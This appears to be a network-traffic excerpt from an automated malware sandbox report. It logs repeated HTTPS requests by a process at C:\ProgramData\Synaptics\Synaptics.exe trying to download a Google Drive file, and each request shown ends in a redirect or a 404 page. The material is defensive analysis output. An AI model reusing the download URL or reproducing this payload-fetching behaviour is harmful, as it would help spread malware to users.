2024-12-30 10:36:06 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6w8KiNPAM8NnUbhRWts8zZTuJ4rdRzjNdRbm9PtjwyvUyXjYsURrF5VevbdMJVdGiIPlupnG4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:06 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YWxHEBQjzh8qnrkm9ylnng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:06 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:06 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 39 33 4c 5f 4d 4b 61 46 71 31 4a 4f 4c 35 6c 4a 76 49 69 48 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="T93L_MKaFq1JOL5lJvIiHQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:06 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49801	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:06 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:06 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-vjcpxr0eKV2F6uOVDv2LNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49802	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:06 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:06 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3nasrcwOCiwMDiP1NLw7XQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49806	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:07 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:07 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC50WrBUvVBT8TPpLFG7tq1KQB8jI9w5J3rv08P04xSRLp_wjl39Pv_HGMioXQZnoGNL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:07 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0AZLRlIJ7QpzOh01IAIO5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:07 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:07 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 50 75 55 77 6a 37 50 49 47 56 47 79 39 61 65 62 48 69 49 49 4a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="PuUwj7PIGVGy9aebHiIIJA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:07 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49805	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:07 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:07 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC46MJxyTvNUmJpxkJYxaC4HQQmXrfblIoYxBYqYLOhv8qWyZ2Xa8KFZ8rY-YJOG_D7D Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:07 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-PulQbfjACG-CGBvQVBi9Ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:07 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:07 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 42 36 72 74 6a 56 6b 66 68 78 64 63 6d 46 66 71 55 41 31 66 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="FB6rtjVkfhxdcmFfqUA1fQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:07 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49807	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:07 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-MwWedV4tN3ICN_gpmgHqIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49808	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:07 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-DnAf8--xuL5pxv7Rs1Fp-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49809	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:08 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:08 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4-ILUznPsxscn6A_BvndyEMB5wL-LjkUSqkN8xkao-w5mg3jMATOekOjuJvjneUkwc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:08 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bSWHPYHT7FsELXaRu34HKg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:08 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:08 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 62 77 45 6f 76 71 4f 49 55 46 32 53 49 6b 6d 2d 54 47 76 51 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="-bwEovqOIUF2SIkm-TGvQA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:08 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
